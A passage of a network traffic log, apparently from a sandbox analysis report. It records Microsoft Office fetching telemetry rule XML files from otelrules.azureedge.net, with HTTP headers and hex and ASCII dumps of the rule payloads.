2024-11-28 07:57:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:12 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 815bbe2c-201e-00aa-7f78-403928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075712Z-174f78459685726chC1EWRsnbg0000000y3000000000c3v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:12 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:12 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:12 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075712Z-174f7845968psccphC1EWRuz9s0000000ydg000000004gzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:12 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:12 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:13 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075713Z-174f7845968px8v7hC1EWR08ng0000000yeg000000002wm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:13 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:13 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:14 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:14 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075714Z-174f784596886s2bhC1EWR743w0000000y600000000050gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:14 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:13 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:14 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 058c760e-201e-0051-7c6f-407340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075714Z-174f78459685m244hC1EWRgp2c0000000y1g000000002bc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:14 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:14 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:14 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: eaf971a2-501e-008c-1d81-40cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075714Z-174f7845968xlwnmhC1EWR0sv80000000xyg00000000888m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:14 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:14 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:14 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075714Z-174f7845968ljs8phC1EWRe6en0000000xx000000000a2ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:15 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:15 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:15 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: e5837872-c01e-00a1-6f26-417e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075715Z-174f78459685m244hC1EWRgp2c0000000xxg00000000979p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:15 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:16 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:16 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075716Z-174f7845968xr5c2hC1EWRd0hn0000000eyg000000008193 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:16 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:16 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:16 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075716Z-174f78459685726chC1EWRsnbg0000000y40000000009h0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:16 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:16 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:16 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9018dc86-401e-0067-0d2e-4109c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075716Z-174f7845968l4kp6hC1EWRe8840000000ydg0000000043g1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:17 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:16 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:17 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 7e2a4532-c01e-0049-6b07-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075717Z-174f7845968pght8hC1EWRyvxg0000000190000000006qrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
